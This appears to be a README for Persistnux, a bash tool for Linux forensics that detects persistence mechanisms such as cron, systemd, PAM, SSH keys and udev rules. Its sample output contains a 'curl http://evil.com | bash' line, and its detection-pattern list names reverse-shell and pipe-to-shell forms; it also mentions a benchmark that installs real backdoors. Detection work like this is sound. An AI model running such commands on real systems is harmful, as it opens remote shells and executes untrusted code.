
Bash-based Linux persistence detection tool for DFIR investigations. Scans 15+ persistence mechanisms (systemd, cron, kernel modules, SSH, containers) with confidence scoring and generates CSV/JSONL reports for forensic analysis.
A comprehensive Linux persistence detection tool for Digital Forensics and Incident Response (DFIR) investigations.
Persistnux is a bash-based tool designed to identify known Linux persistence mechanisms used by attackers to maintain access to compromised systems. It performs comprehensive checks across the system and generates detailed reports in both CSV and JSONL formats for further analysis.
.service) in /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow and /etc/cron.deny ACL files — entries referencing nonexistent users flagged/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile, etc.)/etc/rc.local and variants/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — each listed library verified via package manager/etc/ld.so.conf, /etc/ld.so.conf.d/) — conf file integrity + non-standard path .so files scanned and verified/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — env file flagged HIGH; referenced library paths verified (unmanaged/modified → CRITICAL)/etc/modprobe.d/, /etc/modprobe.conf) — file integrity; install directives analyzed for suspicious command targets; blacklist of security modules (apparmor, selinux, seccomp) flagged HIGH/etc/modules, /etc/modules-load.d/) — config integrity; referenced module names resolved to .ko files via and verified.config/autostart, /etc/xdg/autostart) — all user homes scanned when root/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATH library paths verified/etc/sudoers, /etc/sudoers.d/) — NOPASSWD/ALL patterns → HIGH.so modules verified via package manager; @include directives followed; /etc/pam.conf includedpam_exec.so script analysis — missing/suspicious scripts → CRITICALpam_python.so / pam_perl.so relay detection — script extracted and analyzedpam_script.so hook file detection in ~/.ssh/authorized_keys — recently modified keys flagged; command= option content analyzed for suspicious patterns~/.ssh/rc — presence flagged MEDIUM; suspicious/reverse shell content → HIGH/CRITICALdpkg -V on Debian/Ubuntu, rpm -Va on RHEL/CentOS)/usr/bin, /usr/sbin, /bin, /sbin → CRITICAL finding/lib/security → CRITICAL findinginit= kernel parameter injection (/etc/default/grub, /etc/default/grub.d/*.cfg)/pre-pivot hooks writing to /sysroot/etc/shadow/etc/initramfs-tools/scripts/ and /hooks//boot/initrd.img-* images (mtime-based).pkla files with unconditional ResultAny/ResultInactive/ResultActive=yesunix-user:*) grants.rules files with unconditional polkit.Result.YES (JavaScript-based Polkit >= 0.106)Exec= registration (/usr/share/dbus-1/system-services/)allow own="*" or send_destination="*" directives/etc/NetworkManager/dispatcher.d/)RUN+= directives executing arbitrary commands or scripts (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/at/cron delegation patterns in RUN+= (common foreground restriction bypass)--privileged, --pid=host)docker.sock bind-mounts into containers (full host control via Docker API)nsenter -t 1 in container entrypoints or Dockerfilesgetcap — cap_setuid+ep on GTFOBins → CRITICAL.original, .old, .bak, .real) with wrapper scripts/etc/passwd/etc/passwd shell fieldauthorized_keys files# Clone the repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Make the script executable
chmod +x persistnux.sh
# Run with default settings (shows only suspicious findings)
sudo ./persistnux.sh
# Show help and all options
./persistnux.sh --help
# Run as regular user (limited scope)
./persistnux.sh
By default, Persistnux shows only suspicious findings (MEDIUM, HIGH, CRITICAL confidence) to reduce noise and focus on actionable threats.
# Default: Show only suspicious findings
sudo ./persistnux.sh
# Show all findings including baseline (LOW confidence)
sudo ./persistnux.sh --all
# OR
sudo FILTER_MODE=all ./persistnux.sh
# Show only HIGH and CRITICAL confidence findings
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combine filters: HIGH confidence only
sudo ./persistnux.sh --min-confidence HIGH
# Specify custom output directory
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combine with filtering
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
By default, Persistnux creates an output directory ./persistnux_output/ containing:
persistnux_<hostname>_<timestamp>.csv - CSV format reportpersistnux_<hostname>_<timestamp>.jsonl - JSONL format report (one JSON object per line)persistnux_<hostname>_<timestamp>_report.txt - Human-readable summary report with findings counts and scan metadatatimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux uses intelligent confidence scoring to reduce false positives:
Persistnux now includes several features to reduce false positives:
dpkg (Debian/Ubuntu) or rpm (RedHat/CentOS) receive lower confidence scoresPersistnux automatically flags items with higher confidence when it detects:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (for specific checks)python/jq required)Note: The tool is primarily tested on Ubuntu/Debian systems. RedHat, Fedora, and RPM-based distributions have package manager support implemented in code but have not been validated in live test environments. Contributions and test reports for RPM-based distros are welcome.
Persistnux is benchmarked against PANIX,
which installs the same persistence mechanisms Persistnux hunts. The repeatable
harness at tests/panix_benchmark.sh applies each
PANIX technique, runs Persistnux, and confirms detection via a baseline diff.
Every file-based PANIX technique that applies on the test box is detected at
MEDIUM+ confidence. See PANIX_BENCHMARK.md for the full
coverage table and methodology.
⚠️ The benchmark installs real backdoors — run it only in a disposable VM.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Contributions are welcome! Please feel free to submit pull requests or open issues for:
MIT License - See LICENSE file for details
Developed for the DFIR community to assist in Linux incident response and forensic investigations.
This tool is intended for authorized security testing, incident response, and forensic analysis only. Users are responsible for ensuring they have proper authorization before running this tool on any system.
For questions, issues, or contributions, please use the GitHub issue tracker.
modinfolsmod) — enumeration and integrity verification/etc/security/pam_env.conf and ~/.pam_environment LD_PRELOAD library verification/etc/security/ general scan/etc/update-motd.d/) — package verification; modified → CRITICAL| Distribution | Status | Notes |
|---|
| Ubuntu 22.04 LTS | ✅ Tested | Primary development and test platform |
| Ubuntu 20.04 LTS | ✅ Tested | Fully supported |
| Debian 11/12 | ✅ Tested | dpkg-based, same path conventions |
| Kali Linux (rolling) | ✅ Tested | Used for the PANIX detection benchmark (see below) |
| RedHat / RHEL | ⚠️ Not yet tested | rpm support is implemented but unverified on live systems |
| Fedora | ⚠️ Not yet tested | rpm support is implemented but unverified on live systems |
| CentOS / AlmaLinux / Rocky | ⚠️ Not yet tested | rpm support is implemented but unverified on live systems |